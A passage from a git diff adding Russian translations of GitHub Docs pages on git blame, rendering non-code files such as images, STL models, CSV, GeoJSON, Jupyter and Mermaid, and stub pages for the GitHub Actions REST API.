щелкните **{% octicon "copy" aria-label="The copy icon" %}** . + +## Просмотр истории версий файла по строкам + +С помощью представления blame можно просматривать историю версий всего файла по строкам или просмотреть историю версий одной строки файла, щелкнув {% octicon "versions" aria-label="The prior blame icon" %}. При каждом щелчке {% octicon "versions" aria-label="The prior blame icon" %} будет отображаться информация о предыдущих версиях этой строки, включая автора версии и время ее фиксации. + +![Представление Git blame](/assets/images/help/repository/git_blame.png) + +В файле или запросе на вытягивание можно также использовать меню {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, чтобы просмотреть Git blame для выбранной строки или диапазона строк. + +![Меню в виде многоточия с параметром просмотра Git blame для выбранной строки](/assets/images/help/repository/view-git-blame-specific-line.png) + +{% tip %} + +**Совет.** В командной строке также можно использовать `git blame` для просмотра истории версий строк файла. Дополнительные сведения см. в [документации по Git `git blame`](https://git-scm.com/docs/git-blame). + +{% endtip %} + +{% data reusables.repositories.navigate-to-repo %} +2. Нажмите и откройте файл, журнал строк которого нужно просмотреть. +3. В правом верхнем углу представления файла щелкните **Blame** для открытия представления blame. +![Кнопка "Blame"](/assets/images/help/repository/blame-button.png) +4. Чтобы просмотреть более ранние версии определенной строки или повторно использовать blame, щелкайте {% octicon "versions" aria-label="The prior blame icon" %}, пока не найдете нужные изменения. +![Кнопка "Предыдущий blame"](/assets/images/help/repository/prior-blame-button.png) + +{% ifversion blame-ignore-revs %} + +## Игнорирование фиксаций в представлении blame + +Все версии, указанные в файле `.git-blame-ignore-revs`, которые должны находиться в корневом каталоге репозитория, скрыты из представления blame с помощью параметра конфигурации `git blame --ignore-revs-file` Git. Дополнительные сведения см. в разделе [`git blame --ignore-revs-file`](https://git-scm.com/docs/git-blame#Documentation/git-blame.txt---ignore-revs-fileltfilegt) документации. + +1. В корневом каталоге вашего репозитория создайте файл с именем `.git-blame-ignore-revs`. +2. Добавьте хэши фиксации, которые нужно исключить из представления blame для этого файла. Мы рекомендуем структурировать файл следующим образом, включая комментарии: + + ```ini + # .git-blame-ignore-revs + # Removed semi-colons from the entire codebase + a8940f7fbddf7fad9d7d50014d4e8d46baf30592 + # Converted all JavaScript to TypeScript + 69d029cec8337c616552756310748c4a507bd75a + ``` + +3. Зафиксируйте и отправьте изменения. + +Теперь при посещении представления blame перечисленные версии не будут включены в blame. Вы увидите баннер **Игнорирование версий в .git-blame-ignore-revs**, который означает, что некоторые фиксации могут быть скрыты: + +![Снимок экрана: баннер в представлении blame со ссылкой на файл .git-blame-ignore-revs](/assets/images/help/repository/blame-ignore-revs-file.png) + +Это может быть полезно, если несколько фиксаций вносят значительные изменения в код. Файл можно также использовать при локальном выполнении `git blame`: + +```shell +git blame --ignore-revs-file .git-blame-ignore-revs +``` + +Вы также можете настроить локальный Git так, чтобы он всегда пропускал обновления в этом файле: + +```shell +git config blame.ignoreRevsFile .git-blame-ignore-revs +``` + +{% endif %} diff --git a/translations/ru-RU/content/repositories/working-with-files/using-files/working-with-non-code-files.md b/translations/ru-RU/content/repositories/working-with-files/using-files/working-with-non-code-files.md new file mode 100644 index 000000000000..4dd305475a26 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/using-files/working-with-non-code-files.md @@ -0,0 +1,382 @@ +--- +title: 'Работа с файлами, не связанными с кодом' +intro: '{% data variables.product.product_name %} поддерживает отрисовку изображений и поиск различий в нескольких форматах файлов, отличных от кода.' +redirect_from: + - /articles/rendering-and-diffing-images + - /github/managing-files-in-a-repository/rendering-and-diffing-images + - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-and-diffing-images + - /articles/stl-file-viewer + - /articles/3d-file-viewer + - /github/managing-files-in-a-repository/3d-file-viewer + - /github/managing-files-in-a-repository/working-with-non-code-files/3d-file-viewer + - /articles/rendering-csv-and-tsv-data + - /github/managing-files-in-a-repository/rendering-csv-and-tsv-data + - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-csv-and-tsv-data + - /articles/rendering-pdf-documents + - /github/managing-files-in-a-repository/rendering-pdf-documents + - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-pdf-documents + - /articles/rendering-differences-in-prose-documents + - /github/managing-files-in-a-repository/rendering-differences-in-prose-documents + - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-differences-in-prose-documents + - /articles/mapping-geojson-files-on-github + - /github/managing-files-in-a-repository/mapping-geojson-files-on-github + - /github/managing-files-in-a-repository/working-with-non-code-files/mapping-geojson-files-on-github + - /articles/working-with-jupyter-notebook-files-on-github + - /github/managing-files-in-a-repository/working-with-jupyter-notebook-files-on-github + - /github/managing-files-in-a-repository/working-with-non-code-files/working-with-jupyter-notebook-files-on-github + - /github/managing-files-in-a-repository/working-with-non-code-files +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Working with non-code files +ms.openlocfilehash: c770235d94d6191d60505ba60b0f4f81ae49b6bd +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107608' +--- +## Отрисовка изображений и поиск различий + +{% data variables.product.product_name %} отображает популярные форматы изображений, включая PNG, JPG, GIF, PSD и SVG. Помимо простого отображения, существует несколько способов сравнения различий в версиях этих форматов изображений. + +{% note %} + +**Примечание**. +- {% data variables.product.prodname_dotcom %} не поддерживает сравнение различий между PSD-файлами. +- Если вы используете браузер Firefox, SVG на {% data variables.product.prodname_dotcom %} может не отрисовываться. + +{% endnote %} + +### Просмотр изображений + +Вы можете напрямую просматривать и просматривать изображения в репозитории в {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}: + +![Встроенное изображение](/assets/images/help/images/view.png) + +В настоящее время SVG не поддерживают встроенные скрипты и анимацию. + +### Просмотр различий + +Вы можете визуально сравнивать изображения в трех разных режимах: [2-up](#2-up), [swipe](#swipe) и [onion skin](#onion-skin). + +#### 2-up + +**2-up** — это режим по умолчанию, в котором вы смотрите на оба изображения. Кроме того, если в сравниваемых версиях у изображения разные размеры, отображается фактическое изменение размера. Это удобный способ для сравнения объектов разного размера, например при повышении разрешения. + +![2-up](/assets/images/help/repository/images-2up-view.png) + +#### Swipe + +В режиме **swipe** можно сравнивать части изображения параллельно. Не уверены, изменились ли цвета между версиями? Перетащите ползунок в нужную область и визуально сравните фрагменты. + +![Swipe](/assets/images/help/repository/images-swipe-view.png) + +#### Onion skin + +Режим **Onion skin** пригодится в ситуациях, когда элементы перемещаются на едва заметное расстояние. Например, значок сместился на два пикселя влево. Перетащите ползунок прозрачности немного назад и посмотрите, как сместились элементы. + +![Onion skin](/assets/images/help/repository/images-onion-view.gif) + +## Средство просмотра трехмерных файлов + +{% data variables.product.product_name %} может размещать и отрисовывать трехмерные файлы с расширением *STL*. + +Если вы напрямую просматриваете STL-файл в {% data variables.product.product_name %}, вы можете: + +* Поворачивать модель с помощью перетаскивания, щелкнув левой кнопкой мыши. +* Преобразовывать представление с помощью перетаскивания, щелкнув правой кнопкой мыши. +* Увеличивать и уменьшать масштаб с помощью колесика мыши. +* Изменять представление, выбирая разные режимы. + +### Различия + +При просмотре фиксации или набора изменений, включающего STL-файл, вы сможете изучить файл до и после. + +По умолчанию вы получите представление, в котором все элементы без изменений будут показаны контурно. Дополнения окрашены зеленым цветом, а удаленные части — красным. + +![макет](/assets/images/help/repository/stl_wireframe.png) + +Можно также выбрать вариант **Ползунок версии**, в котором с помощью ползунка в верхней части файла можно переключаться между текущей и предыдущей версиями. + +### Решение проблемы низкой производительности + +Если этот значок отображается в углу средства просмотра, технология WebGL недоступна в браузере: + +![Всплывающая ошибка WebGL](/assets/images/help/repository/render_webgl_error.png) + +WebGL позволяет использовать все преимущества аппаратного обеспечения вашего компьютера. Мы рекомендуем попробовать такие браузеры, как [Chrome](https://www.google.com/intl/en/chrome/browser/) или [Firefox](https://www.mozilla.org/en-US/firefox/new/), которые поставляются с включенным WebGL. + +### Ошибка: "Не удается отобразить" + +Если модель недопустима, GitHub может не отображать файл. Кроме того, GitHub не может отображать файлы больше 10 МБ. + +### Внедрение модели в другое место + +Чтобы отобразить трехмерный файл в другом месте в Интернете, измените этот шаблон и поместите его на любую HTML-страницу, поддерживающую JavaScript: + +```html +<script src="https://embed.github.com/view/3d/<username>/<repo>/<ref>/<path_to_file>"></script> +``` + +Например, если URL-адрес модели [`github.com/skalnik/secret-bear-clip/blob/master/stl/clip.stl`](https://github.com/skalnik/secret-bear-clip/blob/master/stl/clip.stl), код внедрения будет следующим: + +```html +<script src="https://embed.github.com/view/3d/skalnik/secret-bear-clip/master/stl/clip.stl"></script> +``` + +По умолчанию внедренный отрисовщик имеет ширину 420 пикселей на 620 пикселей, но вы можете настроить выходные данные, передав переменные высоты и ширины в качестве параметров в конце URL-адреса, например `?height=300&width=500`. + +{% tip %} + +**Примечание.** `ref` может быть ветвью или хэшем для отдельной фиксации (например`2391ae`). + +{% endtip %} + +{% ifversion mermaid %} +### Отрисовка в разметке Markdown + +Синтаксис STL ASCII можно внедрить непосредственно в Markdown. Дополнительные сведения см. в разделе [Создание схем](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-stl-3d-models). +{% endif %} + +## Отрисовка данных CSV и TSV + +GitHub поддерживает отрисовку табличных данных в виде *CSV*- и *TSV*-файлов. + +![Пример преобразованного CSV-файла](/assets/images/help/repository/rendered_csv.png) + +При просмотре _любой.csv_ или _TSV-файл_ , зафиксированный в репозитории в {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} автоматически отображается в виде интерактивной таблицы с заголовками и нумеровкой строк. По умолчанию мы всегда предполагаем, что первая строка является строкой заголовка. + +Вы можете выполнить привязку к определенной строке, щелкнув номер строки или выбрав несколько строк, удерживая клавишу SHIFT. Просто скопируйте URL-адрес и отправьте его другу. + +### Поиск данных + +Если вы хотите найти определенное значение в наборе данных, можно начать вводить текст в строке поиска непосредственно над файлом. Строки будут фильтроваться автоматически: + +![Поиск значений](/assets/images/help/repository/searching_csvs.gif) + +### Обработка ошибок + +Иногда CSV-или TSV-файлы могут не отрисовываться. В этих случаях в нижней части необработанного текста появится поле с указанием предполагаемой ошибки. + +![Сообщение об ошибке отрисовки CSV-файла](/assets/images/help/repository/csv_render_error.png) + +Ниже перечислены распространенные ошибки. + +* Несовпадение количества столбцов. В каждой строке должно быть одинаковое количество разделителей, даже если ячейка пуста +* Превышение размера файла. Отрисовка работает только для файлов размером до 512 КБ. Более крупные файлы замедляют браузер. + +## Отрисовка PDF-документов + +GitHub поддерживает отрисовку PDF-документов. + +![Отрисованный PDF-документ](/assets/images/help/repository/rendered-pdf.png) + +В настоящее время ссылки в PDF-файлах игнорируются. + +## Отрисовка различий в текстовых документах + +Фиксации и запросы на вытягивание, включающие текстовые документы, могут представлять эти документы с *исходным* и *отрисованным* представлениями. + +В исходном представлении отображается введенный необработанный текст, в то время как отрисованное представление показывает, как этот текст будет выглядеть после отрисовки на {% data variables.product.product_name %}. Например, это может быть разница между отображением `**bold**` в Markdown и **полужирным шрифтом** в отрисованном представлении. + +Отрисовка текста поддерживается для отрисованных документов, поддерживаемых [github/markup](https://github.com/github/markup): + +* Markdown +* AsciiDoc +* Textile +* ReStructuredText +* Rdoc +* Организатор +* Creole +* MediaWiki +* Pod + +![Значок листа бумаги для просмотра отрисованного текстового документа](/assets/images/help/repository/rendered_prose_diff.png) + +Вы можете щелкнуть {% octicon "file" aria-label="The paper icon" %}, чтобы просмотреть изменения, внесенные в документ в рамках фиксации. + +![Отрисованные изменения текстового документа](/assets/images/help/repository/rendered_prose_changes.png) + +### Отключение отрисовки Markdown + +{% data reusables.repositories.disabling-markdown-rendering %} + +### Визуализация изменений атрибутов + +Мы предоставляем подсказку, описывающую изменения атрибутов, которые не были бы видны в отрисованном документе. Например, если URL-адрес ссылки меняется с одного веб-сайта на другой, мы отобразим подсказку следующим образом: + +![Отрисованные изменения атрибута prose](/assets/images/help/repository/prose_diff_attributes.png) + +### Комментирование изменений + +[Комментарии к фиксациям](/articles/commenting-on-differences-between-files) можно добавлять только в файлы в *исходном* представлении построчно. + +### Связывание с заголовками + +Как и в случае с [другими отрисованными текстовыми документами](/articles/about-readmes), при наведении указателя мыши на заголовок в документе создается значок ссылки. Вы можете указать читателям различий отрисованного текста на конкретные разделы. + +### Просмотр сложных различий + +Некоторые запросы на вытягивание включают большое количество изменений с большими сложными документами. Если анализ изменений занимает слишком много времени, {% data variables.product.product_name %} не всегда может создать отрисованное представление изменений. В этом случае при нажатии кнопки отрисовки появится сообщение об ошибке. + +![Сообщение, когда представление не может быть отрисовано](/assets/images/help/repository/prose_diff_rendering.png) + +Вы по-прежнему можете использовать исходное представление для анализа и комментирования изменений. + +### Просмотр HTML-элементов + +Мы не поддерживаем напрямую отрисованные представления фиксаций в HTML-документах. Некоторые форматы, такие как Markdown, позволяют внедрять произвольный HTML-код в документ. Если эти документы отображаются на {% data variables.product.product_name %}, некоторые из внедренных HTML могут отображаться в предварительном просмотре, а некоторые (например, внедренное видео YouTube) не могут. + +Как правило, отрисованные представления изменений документа, содержащего внедренный HTML, будут отображать изменения элементов, поддерживаемых в представлении {% data variables.product.product_name %}документа. Изменения в документах, содержащих внедренный HTML, всегда следует проверять как в представлениях отрисовки, так и в исходных представлениях для полноты. + +## Сопоставление файлов GeoJSON/TopoJSON на {% data variables.product.prodname_dotcom %} + +{% data variables.product.product_name %} поддерживает отрисовку файлов карты GeoJSON и TopoJSON в репозиториях {% data variables.product.product_name %}. Просто зафиксируйте файл, как обычно, используя расширение `.geojson` или `.topojson`. Файлы с расширением `.json` также поддерживаются, но только в том случае, если для `type` задано значение `FeatureCollection`, `GeometryCollection`или `topology`. Затем перейдите по пути к файлу GeoJSON/TopoJSON на сайте GitHub.com. + +Щелкнув значок бумаги справа, вы также увидите изменения, внесенные в этот файл в рамках фиксации. + +![Снимок экрана: переключатель исходного представления](/assets/images/help/repository/source-render-toggle-geojson.png) + +### Тип геометрического объекта + +Карты в {% data variables.product.product_name %} используют [Leaflet.js](http://leafletjs.com) и поддерживают все геометрические типы, описанные в [спецификации geoJSON](http://www.geojson.org/geojson-spec.html) (Point, LineString, Polygon, MultiPoint, MultiLineString, MultiPolygon и GeometryCollection). Файлы TopoJSON должны иметь тип Topology и соответствовать [спецификации TopoJSON](https://github.com/mbostock/topojson/wiki/Specification). + +{% ifversion geoJSON-with-MapBox %} +### Функции стиля + +Вы можете настроить способ отображения функций, например указать определенный цвет или добавить описательный значок, передав дополнительные метаданные в свойствах объекта GeoJSON. Доступны следующие возможности: + +* `marker-size` - `small`, `medium` или `large` +* `marker-color` — допустимый шестнадцатеричный код цвета RGB +* `marker-symbol` — идентификатор значка из [проекта Maki](http://mapbox.com/maki/) или одна буква или цифра (a-z или 0-9). +* `stroke` — цвет линии или края многоугольника (RGB) +* `stroke-opacity` — непрозрачность линии или края многоугольника (0,0–0,1) +* `stroke-width` — ширина линии или края многоугольника +* `fill` — цвет внутренней части многоугольника (RGB) +* `fill-opacity` — непрозрачность внутренней части многоугольника (0,0–1,0) + +Дополнительные сведения см. в [открытой спецификации simplestyle версии 1.1.0](https://github.com/mapbox/simplestyle-spec/tree/master/1.1.0). +{% endif %} + +### Внедрение карты в другое место + +Хотите, чтобы карта GeoJSON была доступна в другом месте, не только на {% data variables.product.product_name %}? Просто измените этот шаблон и поместите его на любую HTML-страницу, поддерживающую JavaScript (например, [{% data variables.product.prodname_pages %}](http://pages.github.com)): + +```html +<script src="https://embed.github.com/view/geojson/<username>/<repo>/<ref>/<path_to_file>"></script> +``` + +Например, если URL-адрес карты — [github.com/benbalter/dc-wifi-social/blob/master/bars.geojson](https://github.com/benbalter/dc-wifi-social/blob/master/bars.geojson), код внедрения будет следующим: + +```html +<script src="https://embed.github.com/view/geojson/benbalter/dc-wifi-social/master/bars.geojson"></script> +``` + +По умолчанию внедренная карта имеет размер 420 x 620 пикселей, но вы можете настроить выходные данные, передав переменные высоты и ширины в качестве параметров в конце URL-адреса, например `?height=300&width=500`. + +{% tip %} + +**Примечание.** `ref` может быть ветвью или хэшем для отдельной фиксации (например`2391ae`). + +{% endtip %} + +{% ifversion mermaid %} +### Карты в Markdown + +Вы можете внедрить GeoJSON и TopoJSON непосредственно в Markdown. Дополнительные сведения см. в разделе [Создание схем](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-geojson-and-topojson-maps). +{% endif %} + +### Кластеризация + +Если карта содержит большое количество маркеров (более 750), GitHub автоматически кластеризует ближайшие маркеры при малом приближении. Просто щелкните кластер или увеличьте масштаб, чтобы просмотреть отдельные маркеры. + +### Изменения базовой карты + +Данные базовой карты (названия улиц, дороги и т. д.) управляются [OpenStreetMap](http://www.openstreetmap.org/), совместным проектом по созданию бесплатной редактируемой карты мира. Если вы заметили ошибку, просто [зарегистрируйтесь](https://www.openstreetmap.org/user/new) и отправьте исправление, ведь это проект с открытым кодом. + +### Устранение неполадок + +Если у вас возникли проблемы с отрисовкой файлов GeoJSON, убедитесь, что у вас есть действительный файл GeoJSON, запустив его с помощью [анализатора кода GeoJSON](http://geojsonlint.com/). Если точки не отображаются там, где вы ожидаете (<em>например</em>, в середине океана), скорее всего, данные находятся в проекции, которая в настоящее время не поддерживается. В настоящее время {% data variables.product.product_name %} поддерживает только проекцию `urn:ogc:def:crs:OGC:1.3:CRS84`. + +Кроме того, если размер файла `.geojson` особенно велик (более 10 МБ), его невозможно отрисовать в браузере. В этом случае вы увидите примерно следующее сообщение: + +![Большой файл](/assets/images/help/repository/view_raw.png) + +Возможно, данные по-прежнему можно отрисовать, преобразовав файл `.geojson` в [TopoJSON](https://github.com/mbostock/topojson), формат сжатия, который в некоторых случаях может уменьшить размер файлов до 80 %. Конечно, вы всегда можете разбить файл на небольшие блоки (например, по состоянию или по годам) и хранить данные в репозитории виде нескольких файлов. + +### Дополнительные материалы + +{% ifversion geoJSON-with-MapBox %} +* [Документация по Leaflet.js](https://leafletjs.com/) +* [Документация по стилю маркеров MapBox](http://www.mapbox.com/developers/simplestyle/) {%- else %} +* [Документация по Azure Maps](https://docs.microsoft.com/en-us/azure/azure-maps/) {%- endif %} +* [Вики-сайт TopoJSON](https://github.com/mbostock/topojson/wiki) + +## Работа с файлами Jupyter Notebook в {% data variables.product.prodname_dotcom %} + +При добавлении файлов Jupyter Notebook или IPython Notebook с расширением *.ipynb* в {% data variables.location.product_location %} они будут отображаться в виде статических HTML-файлов в репозитории. + +Интерактивные функции записной книжки, такие как пользовательские графики JavaScript, не будут работать в репозитории в {% data variables.location.product_location %}. Пример см. в разделе [*Связывание и Interactions.ipynb*](https://github.com/bokeh/bokeh-notebooks/blob/main/tutorial/06%20-%20Linking%20and%20Interactions.ipynb). + +Чтобы просмотреть записную книжку Jupyter с отрисованным содержимым JavaScript или поделиться файлами записной книжки с другими пользователями, можно использовать [nbviewer](https://nbviewer.jupyter.org/). Пример см. в файле [*Связывание Interactions.ipynb*](https://nbviewer.jupyter.org/github/bokeh/bokeh-notebooks/blob/main/tutorial/06%20-%20Linking%20and%20Interactions.ipynb), отрисованном в nbviewer. + +Чтобы просмотреть полностью интерактивную версию Jupyter Notebook, можно настроить сервер записной книжки локально. Дополнительные сведения см. в [официальной документации по Jupyter](http://jupyter.readthedocs.io/en/latest/index.html). + +### Устранение неполадок + +Если у вас возникли проблемы с отрисовкой файлов Jupyter Notebook в статическом HTML-коде, вы можете преобразовать файл локально в командной строке с помощью [команды `nbconvert`](https://github.com/jupyter/nbconvert): + +```shell +$ jupyter nbconvert --to html NOTEBOOK-NAME.ipynb +``` + +### Дополнительные материалы + +- [Репозиторий GitHub для Jupyter Notebook](https://github.com/jupyter/jupyter_notebook) +- [Коллекция записных книжек Jupyter Notebook](https://github.com/jupyter/jupyter/wiki) + +{% ifversion mermaid %} +## Отображение файлов Mermaid на {% data variables.product.prodname_dotcom %} + +{% data variables.product.product_name %} поддерживает отрисовку файлов Mermaid в репозиториях. Зафиксируйте файл, как обычно, используя расширение `.mermaid` или `.mmd`. Затем перейдите по пути файла Mermaid на {% data variables.product.prodname_dotcom %}. + +Например, при добавлении файла `.mmd` со следующим содержимым в репозиторий: + +``` +graph TD + A[Friend's Birthday] -->|Get money| B(Go shopping) + B --> C{Let me think} + C -->|One| D["Cool <br> Laptop"] + C -->|Two| E[iPhone] + C -->|Three| F[fa:fa-car Car] +``` + +При просмотре файла в репозитории он отрисовывается как блок-схема. +![Отрисованная схема файла Mermaid](/assets/images/help/repository/mermaid-file-diagram.png) + +### Устранение неполадок + +Если схема вообще не отрисовывается, убедитесь, что она содержит допустимый синтаксис Mermaid Markdown, проверив схему в [динамическом редакторе Mermaid](https://mermaid.live/edit). + +Если схема отображается, но не так, как вы ожидали, можно создать новое [обсуждение {% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/general) и добавить метку `Mermaid`. + +#### Известные проблемы + +* Диаграммы последовательностей часто отображаются с дополнительной отбивкой под ними, причем размер отбивки увеличивается с размером диаграммы. Это известная проблема с библиотекой Mermaid. +* Узлы субъектов с всплывающими меню не работают должным образом в диаграммах последовательности. Это связано с расхождениями, которые возникают в способе добавления событий JavaScript на диаграмму, когда API библиотеки Mermaid используется для отрисовки диаграммы. +* Не все диаграммы соответствуют требованиям a11y. Это может повлиять на пользователей, которые используют средство чтения с экрана. + +### Mermaid в Markdown + +Синтаксис Mermaid можно внедрить непосредственно в Markdown. Дополнительные сведения см. в разделе [Создание схем](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-mermaid-diagrams). + +### Дополнительные материалы + +* [Документация по Mermaid.js](https://mermaid-js.github.io/mermaid/#/) +* [Динамический редактор Mermaid.js](https://mermaid.live/edit) {% endif %} + diff --git a/translations/ru-RU/content/rest/README.md b/translations/ru-RU/content/rest/README.md new file mode 100644 index 000000000000..9f7dff4fc574 --- /dev/null +++ b/translations/ru-RU/content/rest/README.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 059e56c6821926e1d6a604c95dd1fa167de2db6a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145136445" +--- +# REST + +В каталоге `/content/rest` находится документация по REST API GitHub. + +* В каталогах `/content/rest/guides` и `/content/rest/overview` содержатся обычные статьи. Они доступны для редактирования пользователями. +* Каталог `/content/rest/reference` содержит по одной статье для каждой группы конечных точек в REST API GitHub. Большая часть содержимого этого каталога отображается с помощью тегов `include`. + + Содержимое, отображаемое с помощью тегов `include`, берется из каталога `/lib/rest/static`, который автоматически создается из исходного кода API внутри GitHub и не должен изменяться человеком. Более подробную информацию см. в разделе [`/lib/rest/README.md`](/lib/rest/README.md). + + **Мы не принимаем изменения содержимого, которое отображается с помощью тегов `include`. Однако вы можете открыть проблему с описанием требуемых изменений.** diff --git a/translations/ru-RU/content/rest/actions/artifacts.md b/translations/ru-RU/content/rest/actions/artifacts.md new file mode 100644 index 000000000000..8c2185125083 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/artifacts.md @@ -0,0 +1,24 @@ +--- +title: Артефакты GitHub Actions +allowTitleToDifferFromFilename: true +shortTitle: Artifacts +intro: 'API артефактов {% data variables.product.prodname_actions %} позволяет скачивать, удалять и извлекать сведения об артефактах рабочего процесса.' +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 2a639b1f8d9be38032f1e23f296161c6e0ea1dcb +ms.sourcegitcommit: c45cc7325ed19e69ddd7506e46fcafd0b5182b3f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: '148019596' +--- +## Сведения об API артефактов + +API артефактов {% data variables.product.prodname_actions %} позволяет скачивать, удалять и извлекать сведения об артефактах рабочего процесса. {% data reusables.actions.about-artifacts %} Дополнительные сведения см. в разделе [Хранение данных рабочего процесса как артефактов](/actions/using-workflows/storing-workflow-data-as-artifacts). + +{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %} diff --git a/translations/ru-RU/content/rest/actions/cache.md b/translations/ru-RU/content/rest/actions/cache.md new file mode 100644 index 000000000000..4fd89ddece60 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/cache.md @@ -0,0 +1,21 @@ +--- +title: Кэш GitHub Actions +allowTitleToDifferFromFilename: true +shortTitle: Cache +intro: 'API кэша {% data variables.product.prodname_actions %} позволяет запрашивать кэш {% data variables.product.prodname_actions %} для репозиториев и управлять им.' +topics: + - API +versions: + fpt: '*' + ghec: '*' + ghes: '>3.4' +ms.openlocfilehash: faaa0f8c0f182f2693039c017e8898ca9ea878ba +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147430400' +--- +## Сведения об API кэша + +API кэша {% data variables.product.prodname_actions %} позволяет запрашивать кэш {% data variables.product.prodname_actions %} для репозиториев и управлять им. {% ifversion actions-cache-management %}Также можно установить расширение {% data variables.product.prodname_cli %} для управления кэшем из командной строки. {% endif %}Дополнительные сведения см. в статье "[Кэширование зависимостей для ускорения рабочих процессов](/actions/advanced-guides/caching-dependencies-to-speed-up-workflows#managing-caches)". diff --git a/translations/ru-RU/content/rest/actions/index.md b/translations/ru-RU/content/rest/actions/index.md new file mode 100644 index 000000000000..b3fcd0b3ea7f --- /dev/null +++ b/translations/ru-RU/content/rest/actions/index.md @@ -0,0 +1,33 @@ +--- +title: Действия +intro: 'С помощью API действий вы можете управлять {% data variables.product.prodname_actions %} для организации или репозитория.' +redirect_from: + - /v3/actions + - /rest/reference/actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /artifacts + - /cache + - /oidc + - /permissions + - /secrets + - /self-hosted-runner-groups + - /self-hosted-runners + - /workflow-jobs + - /workflow-runs + - /workflows +ms.openlocfilehash: 8795fc5ad18221a71593d68ab161c1302817f86f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061973' +--- +API {% data variables.product.prodname_actions %} позволяет управлять {% data variables.product.prodname_actions %}, используя REST API. {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} требуются разрешения, упомянутые в каждой конечной точке. Дополнительные сведения см. в разделе [Документация по {% data variables.product.prodname_actions %}](/actions). diff --git a/translations/ru-RU/content/rest/actions/oidc.md b/translations/ru-RU/content/rest/actions/oidc.md new file mode 100644 index 000000000000..c84193168ec4 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/oidc.md @@ -0,0 +1,18 @@ +--- +title: OIDC в GitHub Actions +allowTitleToDifferFromFilename: true +shortTitle: OIDC +intro: 'API OIDC {% data variables.product.prodname_actions %} позволяет настраивать утверждения в маркере JWT.' +topics: + - API +versions: + ghec: '*' + ghes: '>=3.7' +ms.openlocfilehash: 6857081d29bd89e59c4f6c7ff458fd0afc2cf6ef +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080650' +--- + diff --git a/translations/ru-RU/content/rest/actions/permissions.md b/translations/ru-RU/content/rest/actions/permissions.md new file mode 100644 index 000000000000..424b29213374 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/permissions.md @@ -0,0 +1,22 @@ +--- +title: Разрешения GitHub Actions +allowTitleToDifferFromFilename: true +shortTitle: Permissions +intro: 'API разрешений {% data variables.product.prodname_actions %} позволяет задать разрешения для предприятий, организаций и репозиториев, которым разрешено выполнять {% data variables.product.prodname_actions %}, а также задать, какие действия{% ifversion actions-workflow-policy %} и многократно используемые рабочие процессы{% endif %} разрешены к выполнению.' +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 33dce77111812ba9cf5b05a170bc713c3506c00e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147888601' +--- +## Сведения об API разрешений + +API разрешений {% data variables.product.prodname_actions %} позволяет задать разрешения для предприятий, организаций и репозиториев, которым разрешено выполнять {% data variables.product.prodname_actions %}, а также задать, какие действия{% ifversion actions-workflow-policy %} и многократно используемые рабочие процессы{% endif %} разрешены к выполнению.{% ifversion fpt or ghec or ghes %} Дополнительные сведения см. в разделе [Ограничения использования, выставление счетов и администрирование](/actions/reference/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization).{% endif %} diff --git a/translations/ru-RU/content/rest/actions/secrets.md b/translations/ru-RU/content/rest/actions/secrets.md new file mode 100644 index 000000000000..8bb9f30ea812 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/secrets.md @@ -0,0 +1,24 @@ +--- +title: Секреты GitHub Actions +allowTitleToDifferFromFilename: true +shortTitle: Secrets +intro: 'API секретов {% data variables.product.prodname_actions %} позволяет создавать, обновлять, удалять и извлекать сведения о зашифрованных секретах, которые можно использовать в рабочих процессах {% data variables.product.prodname_actions %}.' +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: bd72024abd61feb6b69e3efb09d1ddc2b8f27a23 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 